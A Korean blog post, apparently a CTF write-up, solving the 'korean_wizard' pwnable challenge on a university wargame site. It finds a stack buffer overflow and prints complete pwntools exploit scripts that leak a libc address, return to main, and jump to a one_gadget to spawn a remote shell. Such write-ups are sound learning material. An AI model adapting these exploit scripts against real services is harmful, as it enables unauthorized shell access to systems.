GgangCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는
http://123.143.18.212:4000/입니다.
저희 학교 과(동아리)에서 운영중인 사이트이므로 많은 분들이 방문해서 문제 풀어보시길 바랍니다~!!
정말 재밌는 문제들 많습니다 :)
오늘 풀어볼 문제는 Ggang CTF에 있는 포너블 분야의 문제로
korean_wizard 문제입니다.
문제 풀이 전 필요한 개념
이번 문제 풀이에서는
gadget 한 개로 쉘을 딸 수 있는 magic gadget을 사용해야 합니다.
One gadget 혹은 magic gadget이라고 불리는 것 같습니다.
gadget 하나 만을 사용하면 바로 쉘을 딸 수 있는 마법의 도구라는 의미에서 붙은 이름 같습니다.
One Gadget은 라이브러리 파일 내에서 "/bin/sh"를 실행하는 Gadget으로,
간편하게 한 번에 쉘을 딸 수 있다는 점이 장점인 것 같습니다.
One Gadget을 사용하기 위해서는 일부 조건이 만족해야 합니다.
우선, 로컬과 xinetd로 돌아가는 서비스에서만 사용이 가능하며,
조건에 따라 특정 레지스터 값이 NULL이어야 합니다.
이유는 인자 한 개만 넘기고, 두 번째부터 인자가 널이어야
execve 함수가 제대로 실행됩니다.
One gadget을 찾아주는 도구로 One_gadget이 있습니다.
해당 스크립트를 다운 받아서 사용하시면 좋을 것 같습니다.
$ gem install one_gadget
더 자세한 내용이 궁금하시면 다음 사이트를 참고하시길 바랍니다.
https://www.lazenca.net/pages/viewpage.action?pageId=16810292
10.One-gadgets(feat. PLT/GOT overwrite) - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List One-gadget(feat. PLT/GOT overwrite) One Gadget이란 해당 Gadget 하나만을 이용하여 Shell을 획들 할 수 있는 Gadget입니다.One Gadget은 라이브러리 파일 내에서 "/bin/sh"
www.lazenca.net
자, 그럼 문제 풀이를 시작하겠습니다.

제가 마법을 써보겠습니다, 호잇! 이라고 적혀있으며, 실행 파일을 제공합니다.
음.. 처음에 마법이라고 하길래 무슨 말인가 싶었는데,
알고보니 마법 가젯 즉, magic gadget = One gadget을 사용하라는 힌트였습니다.
우선은 실행 파일을 다운받고, 보안 기법부터 확인해봅시다.

NX-bit만 걸려있습니다.
코드 분석
이어서, IDA Pro로 해당 파일을 열어봅시다.

정말 간단하게, 안녕하세요 마법을 써보겠습니다. 호잇을 출력하고
read 함수로 0x49 만큼 입력받습니다.
여기서 buf는 0x20 사이즈인데 최대 0x49를 받으므로 BOF 발생 가능합니다.
고민
처음에는 ASLR도 걸려있는 것 같고, ROP 기법으로 풀어야겠다고 생각을 했는데,
적당한 pop pop pop ret gadget이 없었습니다.
그래서, RTC인가 싶었는데 read 함수에서 0x49 즉, 73바이트만 입력받아서
RTC로 페이로드를 작성하기에는 너무 짧습니다.
방법을 찾아보다가 magic gadget 즉, One-gadget에 대해서 알게 되었습니다.
따라서 magic gadget을 활용해 문제를 풀어봅시다.
풀이 방법 구상
ROP, RTC, magic gadet 세가지 방법 다 동일하게 libc_base를 알아야 활용할 수 있습니다.
즉, 어떤 라이브러리 파일을 사용하는지 알아야 하고,
실제 함수 주소 leak을 통해서 libc_base를 알아내서
offset을 계산해주어 원하는 함수나 gadget을 사용해야 합니다.
1.
일단, 어떤 라이브러리 파일을 사용하는지 알기 위해서
read 함수와 puts 함수의 실제 주소를 leak하고
변하지 않는 하위 3비트 값으로 라이브러리 종류를 알아냅니다.
2.
알아낸 라이브러리 파일에서 사용할 수 있는 magic gadet을 찾습니다.
3.
magic gadet을 ret에 넣어주는 페이로드를 작성하고,
실행하여 권한을 획득합니다.
이 단계에 따라서 문제를 풀어봅시다.
1단계: 라이브러리 파일 종류 알아내기

우선, puts 함수를 사용해서 read함수와 puts 함수의 실제 주소를 leak합니다.
따라서 puts 함수를 사용하기 위해서 필요한 gadget을 찾아줍니다.
pop rdi ret gadget: 0x40121b
실제 주소를 알아내는 페이로드는 다음과 같습니다.
from pwn import*
context.log_level = "debug"
e = ELF("./wizard")
p = remote("123.143.18.212", 50003)
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
read_got = e.got['read']
p1ret = 0x40121b
payload1 = "a"*32 + "b"*8
payload1 += p64(p1ret) + p64(read_got) + p64(puts_plt)
p.recvline()
p.sendline(payload1)
read_address = u64(p.recv(6) + "\x00"*2)
log.info('read_address: 0x%x' %read_address)
p.interactive()

실행 결과 read 함수 실제 수조는 0x7f60be29c310 이었습니다.
위의 코드에서 read_got를 puts_got로 바꿔서 puts 함수 실제 주소를 얻을 수 있습니다.
그래서 결국 read 함수와 puts 함수의 실제 주소에서 바뀌지 않는 하위 1.5바이트는 다음과 같습니다.
read 함수: 310
puts 함수: 6a0
다른 글에서는 libc-database를 통해서 알았지만,
다음 사이트(libc-database)에서도 라이브러리 버전을 쉽게 알 수 있습니다.
(https://libc.blukat.me/?q=puts%3A6a0%2Cread%3A310)
libc database search
libc.blukat.me
알아낸 결과는 다음과 같습니다.

즉, libc6_2.23-Oubuntu11.2_amd64 버전입니다.
해당 버전을 참고하면 함수들의 offset과 magic gadget의 offset을 알 수 있습니다.
2단계: one_gadget 혹은 magic gadget offset 구하기
One_gadget 스크립트를 사용한 결과 다음과 같은 magic gadget의 offset을 얻을 수 있었습니다.

libc6_2.23-Oubuntu11.2_amd64를 간단하게 libc.so.6이라고 제 편의상 이름지었습니다.
(어 파일 이름이 다른데? 라고 생각하실까봐...)
저는 one_gadget offset으로 0xf1207을 사용하겠습니다.
3단계: 페이로드 작성하기 (찐 페이로드)
자, 이제 필요한 준비과정이 끝났으니 플래그를 얻기 위한 진짜 페이로드를 작성해봅시다.
페이로드는 다음과 같습니다.
from pwn import*
#context.log_level = "debug"
e = ELF("./wizard")
p = remote("123.143.18.212", 50003)
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
read_got = e.got['read']
p1ret = 0x40121b
# offset은 라이브러리 파일 종류를 알아냈으니 쉽게 알 수 있습니다.
read_offset = 0xf7310
puts_offset = 0x6f6a0
system_offset = 0x453a0
one_gadget_offset = [0xf1207, 0xf0364, 0x4527a, 0x45226]
main = 0x401142 # main 함수 주소
payload1 = "a"*32 + "b"*8
payload1 += p64(p1ret) + p64(read_got) + p64(puts_plt)
#여기까지가 libc_base를 알기 위해서 read 함수 실제 주소 leak 하는 코드
payload1 += p64(main) #여기는 main 함수로 다시 돌아가 입력을 받게 하여, ret에 one gadget 넣기 위함
p.recvline()
p.sendline(payload1)
read_address = u64(p.recv(6) + "\x00"*2)
log.info('read_address: 0x%x' %read_address)
libc_base = read_address - read_offset
magic = libc_base + one_gadget_offset[0]
log.info('magic: 0x%x' %magic)
payload2 = "a"*32 + "b"*8
payload2 += p64(magic) # ret에 magic_gadget 주소 넣기
p.sendline(payload2)
p.interactive()
페이로드 해설
우선, read 함수가 한 번 실행되기 때문에
magic gadget의 주소를 알아낼 수는 있지만, ret에 넣어줄 수가 없습니다.
그래서 강제로 main 함수 주소로 다시 돌아가게 해서 read 함수가 한 번 더 실행되게 합니다.
(이 부분을 생각못해서 정말 고민을 많이 했는데, main으로 돌아가는 스킬 정말 좋은 것 같아요...)
magic gadget의 주소는 libc_base + magic gadget offset 이므로 libc_base를 알아야 합니다.
그런데,
항상 libc_base가 변하므로 libc_base를 알기 위해서 read 함수 주소를 알아내고
read 함수 주소 - read offset으로 libc_base를 알아내고
magic gadget offset을 더해서 magic gadget 주소를 알아냅니다.
그리고 main으로 다시 돌아가서 read 함수를 한 번 더 실행시켜주어서
sfp까지 더미로 덮고 magic gadget 주소를 ret에 넣어 권한을 획득하도록 합니다.
해당 페이로드를 실행시키면, 다음과 같이 플래그를 얻을 수 있습니다.

이렇게 플래그를 얻을 수 있습니다.
본질적으로 ROP 문제이나, main 함수로 돌아가게끔 하는 스킬을 새롭게 배울 수 있었던 것 같다.
더불어, one_gadget 이라는 마법의 도구를 새롭게 사용해보는 경험을 할 수 있는 문제였다.
'Wargame > Pwnable' 카테고리의 다른 글
| [포너블] Ggang CTF Exploitable#1 문제 풀이 | RTC 기법, main으로 돌아가기 (0) | 2021.02.07 |
|---|---|
| [포너블] 드림핵(Dreamhack) hook 문제 풀이 | hook overwrite (0) | 2021.02.01 |
| [포너블] Ggang CTF bounceball 문제 풀이 | read 함수의 이해, 64비트 문제 (0) | 2021.01.28 |
| [포너블] Ggang CTF rpg 문제 풀이 | Canary 우회, 64비트 문제 (0) | 2021.01.28 |
| [포너블] HackCTF RTC 문제 풀이 | RTC 기법 return to csu (0) | 2021.01.27 |
